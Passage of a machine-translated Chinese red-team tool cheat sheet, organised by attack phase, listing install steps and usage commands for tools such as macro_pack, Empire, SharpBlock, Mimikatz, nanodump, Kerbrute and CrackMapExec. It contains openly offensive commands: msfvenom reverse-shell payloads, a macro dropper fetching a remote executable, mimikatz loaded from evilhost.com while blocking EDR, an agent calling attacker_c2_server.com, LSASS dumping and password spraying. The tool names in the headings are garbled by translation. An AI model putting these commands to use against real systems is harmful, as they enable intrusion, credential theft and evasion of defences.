安装:(Git)

git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt

用法:

# Help Page
python3 macro_pack.py  --help

# List all supported file formats
macro_pack.exe --listformats

# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba

# Obfuscate Empire stager VBA file and generate a MS Word document:
macro_pack.exe -f empire.vba -o -G myDoc.docm

# Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" |  macro_pack.exe -o -t DROPPER -G "drop.xlsm" 

# Execute calc.exe via Dynamic Data Exchange (DDE) attack
echo calc.exe | macro_pack.exe --dde -G calc.xslx

图像

🔙PowerSploit

PowerShell 脚本和模块的集合,可用于实现各种红队目标。

PowerSploit的一些功能:

  • 转储密码哈希并从内存中提取明文密码
  • 提升权限并绕过安全控制
  • 执行任意 PowerShell 代码并绕过执行限制
  • 执行网络侦测和发现
  • 生成有效负载并执行漏洞利用

安装: 1.保存到 PowerShell 模块文件夹

首先,你需要下载PowerSploit文件夹并将其保存到PowerShell模块文件夹中。

可以使用以下命令找到 PowerShell 模块文件夹路径:

$Env:PSModulePath

安装: 2.将 PowerSploit 安装为 PowerShell 模块

然后,你需要安装 PowerSploit 模块(使用下载文件夹的名称)。

注意:PowerShell 执行策略可能会阻止你,若要解决此问题,请运行以下命令。

powershell.exe -ep bypass

现在你可以安装 PowerSploit 模块了。

Import-Module PowerSploit

用法:

Get-Command -Module PowerSploit

图像

🔙鲁伯

可用于执行与 Microsoft Active Directory (AD) 环境相关的各种操作的工具,例如转储密码哈希、创建/删除用户以及修改用户属性。

鲁伯的一些特点:

  • Kerberoasting
  • 黄金票证攻击
  • 银票攻击

安装:(下载)

你可以在此处安装非官方的预编译 Rubeus 二进制文件。

安装:(编译)

Rubeus与Visual Studio 2019社区版兼容。打开 rubeus 项目.sln,选择“发布”,然后构建。

用法:

Rubeus.exe -h

图像

🔙夏普

一个很好的工具,用于检查受害者端点是否存在与高完整性进程、组、可劫持路径等相关的漏洞。

安装:(下载)

你可以在此处安装非官方的预编译 SharpUp 二进制文件。

安装:(编译)

SharpUp 与 Visual Studio 2015 Community Edition 兼容。打开SharpUp项目.sln,选择“发布”,然后构建。

用法:

SharpUp.exe audit
#-> Runs all vulnerability checks regardless of integrity level or group membership.

SharpUp.exe HijackablePaths
#-> Check only if there are modifiable paths in the user's %PATH% variable.

SharpUp.exe audit HijackablePaths
#-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.

图像

🔙SQLRecon

MS-SQL(Microsoft SQL Server)是由Microsoft开发和销售的关系数据库管理系统。

此 C# MS-SQL 工具包专为攻击性侦察和攻击后而设计。有关每种技术的详细使用信息,请参阅 wiki

安装:(二进制)

你可以从此处下载最新的二进制版本。

用法:

# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami

# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami

# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases

# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019

完整的使用信息可以在维基上找到。

在此处找到工具模块使用信息。

图像

SQLRecon 帮助页面中使用的图像

坚持

🔙因包

Impacket为各种网络协议(包括SMB,Kerberos和LDAP)提供了一组低级Python绑定,以及用于与网络服务交互和执行特定任务(如转储密码哈希和创建网络共享)的更高级别的库。

它还包括许多命令行工具,可用于执行各种任务,例如转储 SAM 数据库、枚举域信任和破解 Windows 密码。

安装:

python3 -m pip install impacket

安装:(使用示例脚本)

下载并解压缩,然后导航到安装文件夹并运行...

python3 -m pip install .

用法:

# Extract NTLM hashes with local files
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL

# Gets a list of the sessions opened at the remote hosts
netview.py domain/user:password -target 192.168.10.2

# Retrieves the MSSQL instances names from the target host.
mssqlinstance.py 192.168.1.2

# This script will gather data about the domain's users and their corresponding email addresses.
GetADUsers.py domain/user:password@IP

很棒的备忘单,用于使用Impacket。

图像

🔙帝国

Empire 是一个后开发框架,允许你生成有效负载以与受害者系统建立远程连接。

一旦有效负载在受害系统上执行,它就会建立与帝国服务器的连接,然后可以使用该服务器发出命令并控制目标系统。

Empire还包括许多内置模块和脚本,可用于执行特定任务,例如转储密码哈希,访问Windows注册表和泄露数据。

安装:

git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh

用法:

# Start Empire
./empire

# List live agents
list agents

# List live listeners
list listeners

HarmJoy的漂亮使用备忘单

图像

🔙沙坚持

用 C# 编写的 Windows 持久性工具包。

该项目有一个维基

安装:(二进制)

你可以在此处找到最新版本。

安装:(编译)

  • GitHub 存储库下载项目文件。
  • 加载Visual Studio项目并转到“工具” --> “NuGet 包管理器” --> “包管理器设置”
  • 转到“NuGet 包管理器”-->“包源”
  • 添加 URL 为“https://api.nuget.org/v3/index.json"
  • 安装 Costura.Fody NuGet 包。需要旧版本的Costura.Fody(3.3.3),因此你不需要Visual Studio 2019。
    • Install-Package Costura.Fody -Version 3.3.3
  • 安装任务计划程序包
    • Install-Package TaskScheduler -Version 2.8.11
  • 你现在可以自己构建项目了!

用法:

在此处找到使用示例的完整列表。

#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add 

#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

图像

🔙利戈洛-吴

Ligolo-ng是一个简单,轻量级和快速的工具,允许渗透测试人员使用tun接口从反向TCP / TLS连接建立隧道(不需要SOCKS)。

Ligolo-ng不使用SOCKS代理或TCP / UDP转发器,而是使用Gvisor创建用户空间网络堆栈。

运行中继/代理服务器时,使用 tun 接口,将转换发送到此接口的数据包,然后传输到代理远程网络。

安装:(下载)

预编译二进制文件(Windows/Linux/macOS)在“发布”页面上可用。

安装:(内部版本)

构建 ligolo-ng(需要 Go >= 1.17):

go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go

# Build for Windows
GOOS=windows go build -o agent.exe cmd/agent/main.go
GOOS=windows go build -o proxy.exe cmd/proxy/main.go

设置:(Linux)

sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up

设置:(视窗)

你需要下载Wintun驱动程序(由WireGuard使用)并将其放在与Ligolo相同的文件夹中(确保使用正确的体系结构)。

wintun.dll

设置:(代理服务器)

./proxy -h # Help options
./proxy -autocert # Automatically request LetsEncrypt certificates

用法:

在目标(受害者)计算机上启动代理(不需要权限!

./agent -connect attacker_c2_server.com:11601

会话应出现在代理服务器上。

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

使用会话命令选择代理。

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

完整的使用信息可以在这里找到。

图像

图片来自 https://github.com/nicocha30/ligolo-ng#demo

权限提升

🔙林豌豆

LinPEAS 是一个很好的详细权限提升,用于在 Linux 端点上查找本地隐私路由。

安装 + 使用:

curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh

图像

🔙温豌豆

WinPEAS 是一个很好的详细权限提升,用于在 Windows 端点上查找本地隐私路由。

安装 + 使用:

$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")

图像

🔙linux-smart-enumeration

Linux 智能枚举是另一个好的、不那么冗长的 Linux privesc 工具。

安装 + 使用:

curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh

图像

🔙证明

Certify 是一个 C# 工具,用于枚举和滥用 Active Directory 证书服务 (AD CS) 中的错误配置。

Certify 旨在与其他红队工具和技术(如 Mimikatz 和 PowerShell)结合使用,使红队成员能够执行各种类型的攻击,包括中间人攻击、模拟攻击和权限提升攻击。

认证的主要特点:

  • 证书创建
  • 证书签名
  • 证书导入
  • 证书信任修改

安装:(编译)

Certify 与 Visual Studio 2019 Community Edition 兼容。打开“认证”项目.sln,选择“发布”,然后生成。

安装:(通过PowerShell运行认证)

如果要通过 PowerShell 包装器在内存中运行 Certify,请先编译 Certify 并对生成的程序集进行 base64 编码:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt

然后,可以使用以下内容在PowerShell脚本中加载认证(其中“aa...”替换为 base64 编码的认证程序集字符串):

$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

然后可以按如下方式调用 Main() 方法和任何参数:

[Certify.Program]::Main("find /vulnerable".Split())

完整的编译说明可以在这里找到。

用法:

# See if there are any vulnerable templates
Certify.exe find /vulnerable

# Request a new certificate for a template/CA, specifying a DA localadmin as the alternate principal
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin

在此处找到完整的示例演练。

图像

🔙Get-GPPPassword

Get-GPPPassword是PowerSploit工具包的PowerShell脚本部分,它旨在检索使用组策略首选项(GPP)创建和管理的本地帐户的密码。

Get-GPPPassword 的工作原理是在域控制器上的 SYSVOL 文件夹中搜索包含密码信息的任何 GPP 文件。找到这些文件后,它将解密密码信息并将其显示给用户。

安装:

按照此工具表中的 PowerSploit 安装说明进行操作。

powershell.exe -ep bypass
Import-Module PowerSploit

用法:

# Get all passwords with additional information
Get-GPPPassword

# Get list of all passwords
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq

图像

🔙福尔摩斯

PowerShell 脚本,用于快速查找本地权限提升漏洞缺少的软件修补程序。

支持:

  • MS10-015 : 用户模式到响铃 (KiTrap0D)
  • MS10-092:任务计划程序
  • MS13-053:NTUser消息调用 Win32k 内核池溢出
  • MS13-081 : 跟踪弹出菜单Ex Win32k 空页面
  • MS14-058:跟踪弹出菜单 Win32k 空指针取消引用
  • MS15-051:客户端复制映像 Win32k
  • MS15-078:字体驱动程序缓冲区溢出
  • MS16-016 : “mrxdav.sys” WebDAV
  • MS16-032:辅助登录句柄
  • MS16-034:视窗内核模式驱动程序 EoP
  • MS16-135:Win32k 特权提升
  • CVE-2017-7199:Nessus Agent 6.6.2 - 6.10.3 隐私

安装:(PowerShell)

# Git install
git clone https://github.com/rasta-mouse/Sherlock

# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1

用法:(PowerShell)

# Run all functions
Find-AllVulns

# Run specific function (MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference)
Find-MS14058

图像

https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/ 中使用的图像

🔙沃森

Watson 是一个 .NET 工具,旨在枚举缺失的 KB 并针对权限提升漏洞提出攻击建议。

非常适合识别缺失的补丁并建议可用于利用已知漏洞的漏洞,以便在系统上获得更高的权限。

安装:

使用 Visual Studio 2019 Community Edition。打开 Watson 项目.sln,选择“发布”,然后构建。

用法:

# Run all checks
Watson.exe

图像

https://github.com/rasta-mouse/Watson#usage 中使用的图像文本

🔙冲动DLLHijack

基于 C# 的工具,可自动执行在目标二进制文件中发现和利用 DLL 劫持的过程。

发现的被劫持路径可以在交战期间被武器化以逃避EDR。

安装:

  • Procmon.exe -> https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
  • 自定义确认 DLL 的
    • 这些是DLL文件,可帮助该工具确认DLL是否已从识别的劫持路径成功加载
    • 从上面提供的 MalDLL 项目编译(如果你信任我,请使用预编译的二进制文件!
    • 32位dll名称应为:maldll32.dll
    • 64位dll名称应为:maldll64.dll
    • 安装 NuGet Package:** PeNet** -> https://www.nuget.org/packages/PeNet/ (编译 ImpulsiveDLLHijack 项目时的 Prereq)

注意:i 和 ii 先决条件应放在 ImpulsiveDLLHijacks.exe 的目录中。

  • 构建和设置信息:

    • 冲动DLLHijack

      • 在Visual Studio中克隆存储库
      • 在Visual Studio中加载项目后,转到“项目” -->“管理NuGet包” --> 浏览包并安装“PeNet” ->https://www.nuget.org/packages/PeNet/
      • 构建项目!
      • ImpulsiveDLLHijack.exe 将位于 bin 目录中。
    • 对于确认性 DLL:

      • 在Visual Studio中克隆存储库
      • 使用 x86 和 x64 生成项目
      • 将 x86 版本重命名为 maldll32.dll将 x64 版本重命名为 maldll64.dll
    • 设置:在ImpulsiveDLLHijack.exe目录中复制Confirmatory DLL(maldll32和maldll64),然后执行ImpulsiveDLLHijack.exe :))

https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites 中的安装说明

用法:

# Help
ImpulsiveDLLHijack.exe -h

# Look for vulnerabilities in an executable 
ImpulsiveDLLHijack.exe -path BINARY_PATH

在此处找到使用示例。

图像

图片来自 https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples

🔙ADFSDump

一个 C# 工具,用于从 AD FS 转储各种好东西。

由Doug Bienstock@doughsec在Mandiant FireEye创建。

此工具旨在与 ADFSpoof 一起运行。ADFSdump 将输出使用 ADFSpoof 生成安全令牌所需的所有信息。

要求:

  • ADFSDump 必须在 AD FS 服务帐户的用户上下文中运行。可以通过在 AD FS 服务器上运行进程列表或从 Get-ADFSProperties cmdlet 的输出中获取此信息。只有 AD FS 服务帐户具有访问配置数据库所需的权限。即使是DA也无法访问它。
  • ADFSDump 假定该服务配置为使用 Windows 内部数据库 (WID)。尽管支持外部 SQL 服务器是微不足道的,但此功能目前不存在。
  • ADFSDump 必须在 AD FS 服务器上本地运行,而不是在 AD FS Web 应用程序代理上运行。WID 只能通过命名管道在本地访问。

安装:(编译)

ADFSDump 是针对 .NET 4.5 和 Visual Studio 2017 Community Edition 构建的。只需打开项目.sln,选择“发布”,然后构建。

用法:(标志)

# The Active Directory domain to target. Defaults to the current domain.
/domain:

# The Domain Controller to target. Defaults to the current DC.
/server:

# Switch. Toggle to disable outputting the DKM key.
/nokey

# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database

博客 - 探索针对 ADFS 的黄金 SAML 攻击

图像

图片来自 https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs

防御规避

🔙调用混淆

与 PowerShell v2.0+ 兼容的 PowerShell 命令和脚本混淆器。如果受害终结点能够执行 PowerShell,则此工具非常适合创建严重混淆的脚本。

安装:

git clone https://github.com/danielbohannon/Invoke-Obfuscation.git

用法:

./Invoke-Obfuscation

图像

🔙面纱

Veil是一种用于生成绕过常见防病毒解决方案的metasploit有效载荷的工具。

它可用于生成混淆的shellcode,有关更多信息,请参阅官方面纱框架博客

安装:(卡利)

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

安装:(Git)

sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent

用法:

# List all payloads (–list-payloads) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-payloads

# List all encoders (–list-encoders) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-encoders

# Generate a reverse tcp payload which connects back to the ip 192.168.1.20 on port 1234
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234

# List all payloads (–list-payloads) for the tool Evasion (-t Evasion)
./Veil.py -t Evasion --list-payloads

# Generate shellcode using Evasion, payload number 41, reverse_tcp to 192.168.1.4 on port 8676, output file chris
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris

Veil的创建者写了一篇很好的博客文章,解释了进一步的军械和规避命令行的使用。

图像

🔙锐块

一种通过阻止入口点执行来绕过 EDR 的活动投影 DLL 的方法。

特征:

  • 阻止 EDR DLL 入口点执行,从而阻止放置 EDR 挂钩。
  • 无补丁 AMSI 旁路,在运行时无法从查找 Amsi .dll 代码补丁的扫描程序检测到。
  • 主机进程被替换为可以从磁盘、HTTP 或命名管道(钴打击)加载的植入 PE。
  • 植入过程是隐藏的,以帮助躲避扫描仪寻找镂空过程。
  • 命令行参数在创建进程后使用隐形 EDR 检测方法进行欺骗和植入。
  • 无补丁 ETW 旁路。
  • 当被调用方位于被阻止的 DLL 地址空间范围内时,阻止 NtProtectVirtualMemory 调用。

安装:

使用 Visual Studio 2019 Community Edition 编译 SharpBlock 二进制文件。

打开SharpBlock项目.sln,选择“发布”,然后构建。

用法:

# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee

# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi

不错的PenTestPartners博客文章在这里

图像

https://youtu.be/0W9wkamknfM 中使用的图像

🔙恶魔

恶魔岛是一个GUI x64二进制混淆器,能够混淆各种不同的pe文件,包括:

  • 。.exe
  • 。.dll
  • 。.sys

一些受支持的混淆功能包括:

  • 混淆即时移动
  • 控制流量扁平化
  • 添加突变
  • 入口点模糊处理
  • Lea 混淆

安装:(要求)

安装:https://vcpkg.io/en/getting-started.html

vcpkg.exe install asmjit:x64-windows
vcpkg.exe install zydis:x64-windows

用法:

使用 GUI 对二进制文件进行模糊处理:

  1. 通过单击左上角加载二进制文件。
    file
  2. 通过展开树来添加函数。(你可以通过在顶部的搜索栏中输入名称进行搜索)
    Functions
  3. 命中(注意:混淆大量函数可能需要几秒钟
    compile
    )

图像

图片来自 https://github.com/weak1337/Alcatraz

🔙裂 伤

Mangle是一种操作已编译可执行文件(.exe或DLL)方面的工具。

Mangle 可以删除已知的基于入侵指标 (IoC) 的字符串并将其替换为随机字符,通过增大大小来更改文件以避免 EDR,并且可以从合法文件中克隆代码签名证书。

在此过程中,Mangle 可帮助加载程序避开磁盘和内存中的扫描程序。

安装:

与往常一样,第一步是克隆存储库。在编译 Mangle 之前,需要安装依赖项。要安装它们,请运行以下命令:

go get github.com/Binject/debug/pe

然后构建它

git clone https://github.com/optiv/Mangle
cd Mangle
go build Mangle.go

用法:

  -C string
        Path to the file containing the certificate you want to clone
  -I string
        Path to the orginal file
  -M    Edit the PE file to strip out Go indicators
  -O string
        The new file name
  -S int
        How many MBs to increase the file by

完整的使用信息可以在这里找到。

图像

图片来自 https://github.com/optiv/Mangle

凭据访问

🔙米卡茨

用于在受害者端点上访问散列和明文密码的绝佳工具。获得对系统的特权访问权限后,请删除此工具以收集一些信誉。

安装:

  1. 下载mimikatz_trunk.7z文件。
  2. 下载后,二进制文件位于文件夹中。
    mimikatz.exe
    x64

用法:

.\mimikatz.exe
privilege::debug

图像

🔙拉扎涅

用于从浏览器,数据库,游戏,邮件,git,wifi等中提取本地存储的密码的好工具。

安装:(二进制)

你可以从此处安装独立二进制文件。

用法:

# Launch all modes
.\laZagne.exe all

# Launch only a specific module
.\laZagne.exe browsers

# Launch only a specific software script
.\laZagne.exe browsers -firefox

图像

🔙哈希猫

用于破解密码哈希的工具。支持大量哈希算法(完整列表可在此处找到)。

安装:二进制

你可以从此处安装独立二进制文件。

用法:

.\hashcat.exe --help

不错的哈希猫命令备忘单

图像

🔙开膛手约翰

另一个密码破解程序,支持数百种哈希和密码类型,并在许多操作系统,CPU和GPU上运行。

安装:

sudo apt-get install john -y

用法:

john

图像

🔙SCOMDecrypt

此工具旨在检索和解密存储在 Microsoft 系统中心操作管理器 (SCOM) 数据库中的运行方式凭据。

NCC 博客文章 - “SCOMplicated? - 解密 SCOM”RunAs“凭据”

先决条件:

要运行该工具,你需要在 SCOM 服务器上具有管理权限。你还需要确保你对以下注册表项具有读取访问权限:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\MOMBins

你可以通过从以下键收集连接详细信息来手动检查是否可以查看数据库:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName

安装: (PS1)

git clone https://github.com/nccgroup/SCOMDecrypt
cd .\SCOMDecrypt\SCOMDecrypt\
. .\Invoke-SCOMDecrypt.ps1

安装:(编译)

使用 Visual Studio 2019 Community Edition,你可以编译 SCOMDecrypt 二进制文件。

打开 SCOMDecrypt 项目.sln,选择“发布”,然后生成。

用法:

# PS1
Invoke-SCOMDecrypt

# Compiled C# binary
.\SCOMDecrypt.exe

图像

https://github.com/nccgroup/SCOMDecrypt 中使用的图像文本

🔙纳米转储

LSASS(本地安全机构子系统服务)是 Windows 操作系统中的一个系统进程,负责在系统上强制实施安全策略。它负责许多与安全相关的任务,包括对登录用户进行身份验证、强制实施安全策略和生成审核日志。

创建此进程的转储可允许攻击者从进程内存中提取密码哈希或其他敏感信息,这些信息可用于进一步危害系统。

这允许创建 LSASS 进程的小型转储。

安装:

git clone https://github.com/helpsystems/nanodump.git

安装:(Linux with MinGW)

make -f Makefile.mingw

安装:(Windows with MSVC)

nmake -f Makefile.msvc

安装:(仅限钴罢工)

导入钴罢工的脚本。

NanoDump.cna

完整的安装信息可以在这里找到。

用法:

# Run
nanodump.x64.exe

# Leverage the Silent Process Exit technique
nanodump --silent-process-exit C:\Windows\Temp\

# Leverage the Shtinkering technique
nanodump --shtinkering

完整的使用信息可以在这里找到。

纳米转储

图片来自 https://github.com/helpsystems/nanodump

🔙邪恶树

经典“树”命令的独立 python3 重制版,具有在文件中搜索用户提供的关键字/正则表达式的附加功能,突出显示包含匹配项的关键字/正则表达式。创建有两个主要原因:

  • 在嵌套目录结构的文件中搜索机密时,能够可视化哪些文件包含用户提供的关键字/正则表达式模式以及这些文件在文件夹层次结构中的位置,这提供了显着的优势。
  • tree
    是分析目录结构的绝佳工具。有一个独立的命令替代方案用于开发后枚举非常方便,因为它没有预装在每个 linux 发行版上,并且在 Windows 上受到限制(与 UNIX 版本相比)。

安装:

git clone https://github.com/t3l3machus/eviltree

用法:

# Running a regex that essentially matches strings similar to: password = something against /var/www
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v

# Using comma separated keywords instead of regex
python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account,login,user -L 3 -v

图像

图片来自 https://github.com/t3l3machus/eviltree

🔙看你CM-小偷

从搜索SSH凭证的思科电话系统自动下载和解析配置文件的简单工具。

还可以选择从 UDS API 枚举活动目录用户。

博客 - 利用思科电话系统中的常见错误配置

安装:

git clone https://github.com/trustedsec/SeeYouCM-Thief
python3 -m pip install -r requirements.txt

用法:

# Enumerate Active Directory users from the UDS api on the CUCM
./thief.py -H <CUCM server> --userenum

# Without specifying a phone IP address the script will attempt to download every config in the listing.
./thief.py -H <Cisco CUCM Server> [--verbose]

# Parse the web interface for the CUCM address and will do a reverse lookup for other phones in the same subnet.
./thief.py --phone <Cisco IP Phoner> [--verbose]

# Specify a subnet to scan with reverse lookups.
./thief.py --subnet <subnet to scan> [--verbose]

图像

图片来自 https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/

发现

🔙PCredz

该工具从pcap文件或实时接口中提取信用卡号,NTLM(DCE-RPC,HTTP,SQL,LDAP等),Kerberos(AS-REQ Pre-Auth etype 23),HTTP Basic,SNMP,POP,SMTP,FTP,IMAP等。

安装:

git clone https://github.com/lgandx/PCredz

用法:(PCAP 文件夹)

python3 ./Pcredz -d /tmp/pcap-directory-to-parse/

用法:(实时捕获)

python3 ./Pcredz -i eth0 -v

图像

🔙平堡

Ping Castle是一个工具,旨在通过基于风险评估和成熟度框架的方法快速评估Active Directory安全级别。它的目的不是完美的评估,而是效率的妥协。

安装:(下载)

https://github.com/vletoux/pingcastle/releases/download/2.11.0.1/PingCastle_2.11.0.1.zip

用法:

./PingCastle.exe

图像

🔙安全带

安全带是一种有用的工具,用于收集有关目标 Windows 计算机安全状况的详细信息,以识别潜在的漏洞和攻击媒介。

它旨在在受感染的受害者计算机上运行,以收集有关当前安全配置的信息,包括有关已安装的软件、服务、组策略和其他与安全相关的设置的信息

安装:(编译)

安全带是针对具有 C# 8.0 功能的 .NET 3.5 和 4.0 构建的,并且与 Visual Studio 社区版兼容。

打开项目.sln,选择“发布”,然后构建。

用法:

# Run all checks and output to output.txt
Seatbelt.exe -group=all -full > output.txt

# Return 4624 logon events for the last 30 days
Seatbelt.exe "LogonEvents 30"

# Query the registry three levels deep, returning only keys/valueNames/values that match the regex .*defini.*
Seatbelt.exe "reg \"HKLM\SOFTWARE\Microsoft\Windows Defender\" 3 .*defini.* true"

# Run remote-focused checks against a remote system
Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""

在此处找到完整的命令组和参数。

图像

图片来自 https://exord66.github.io/csharp-in-memory-assemblies

🔙阿德康

用于收集有关受害者的Microsoft Active Directory(AD)环境的信息的好工具,并支持Excel输出。

它可以从连接到环境的任何工作站运行,甚至可以从不是域成员的主机运行。

BlackHat USA 2018 SlideDeck

先决条件

  • .NET Framework 3.0 或更高版本(Windows 7 包括 3.0)
  • PowerShell 2.0 或更高版本(Windows 7 包括 2.0)

安装:(Git)

git clone https://github.com/sense-of-security/ADRecon.git

安装:(下载)

你可以下载最新版本的 zip 存档。

用法:

# To run ADRecon on a domain member host.
PS C:\> .\ADRecon.ps1

# To run ADRecon on a domain member host as a different user.
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>

# To run ADRecon on a non-member host using LDAP.
PS C:\>.\ADRecon.ps1 -Protocol LDAP -DomainController <IP or FQDN> -Credential <domain\username>

# To run ADRecon with specific modules on a non-member host with RSAT. (Default OutputType is STDOUT with -Collect parameter)
PS C:\>.\ADRecon.ps1 -Protocol ADWS -DomainController <IP or FQDN> -Credential <domain\username> -Collect Domain, DomainControllers

完整的用法和参数信息可以在这里找到。

图像

https://vk9-sec.com/domain-enumeration-powerview-adrecon/ 中使用的图像

🔙阿顿斯转储

默认情况下,Active Directory 中的任何用户都可以枚举域或林 DNS 区域中的所有 DNS 记录,类似于区域传输。

此工具允许枚举和导出区域中的所有 DNS 记录,以便对内部网络进行侦察。

安装:(点)

pip install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump

安装:(Git)

git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .

注意:该工具需要 impacket 和 dnspython 才能运行。虽然该工具适用于 Python 2 和 3,但 Python 3 支持要求你从 GitHub 安装 impacket

用法:

# Display the zones in the domain where you are currently in
adidnsdump -u icorp\\testuser --print-zones icorp-dc.internal.corp

# Display all zones in the domain
adidnsdump -u icorp\\testuser icorp-dc.internal.corp

# Resolve all unknown records (-r)
adidnsdump -u icorp\\testuser icorp-dc.internal.corp -r

博客 - 进入区域:使用 adonsdump 转储 Active Directory DNS

阿顿斯转储

图片来自 https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/

🔙克布鲁特

一种通过 Kerberos 预身份验证快速暴力破解和枚举有效 Active Directory 帐户的工具。

安装:(去)

go get github.com/ropnop/kerbrute

安装:(制造)

git clone https://github.com/ropnop/kerbrute
cd kerbrute
make all

用法:

# User Enumeration
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

# Password Spray
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

# Brute User
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

# Brute Force
./kerbrute -d lab.ropnop.com bruteforce -

图像

https://matthewomccorkle.github.io/day_032_kerbrute/ 中使用的图像

🔙清道夫

Scavenger 是一种用于清理系统的多线程开发后扫描工具,查找最常用的文件和文件夹以及包含敏感信息的“有趣”文件。

Scavenger 面临着渗透测试顾问在内部渗透测试期间通常面临的一个具有挑战性的问题;在测试天数有限的情况下对太多系统进行过多访问的问题。

安装:

首先从这里安装CrackMapExec。

git clone https://github.com/SpiderLabs/scavenger
cd scavenger

用法:

# Search for interesting files on victim endpoint
python3 ./scavenger.py smb -t 10.0.0.10 -u administrator -p Password123 -d test.local

不错的博客文章

图像

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/scavenger-post-exploitation-tool-for-collecting-vital-data/ 中使用的图像

横向移动

🔙破解 map

这是一个很好的工具,用于在Windows/Active Directory环境中使用凭据对(用户名:密码,用户名:哈希)进行透视。它还提供了其他功能,包括枚举登录用户和抓取SMB共享以执行psexec样式攻击,使用Powershell自动将Mimikatz / Shellcode / DLL注入内存,转储NTDS.dit等。

安装:

sudo apt install crackmapexec

用法:

crackmapexec smb <ip address> -d <domain> -u <user list> -p <password list>

图像

🔙WMIOps

WMIOps 是一个 powershell 脚本,它使用 WMI 在 Windows 环境中的本地或远程主机上执行各种操作。

@christruncer开发。

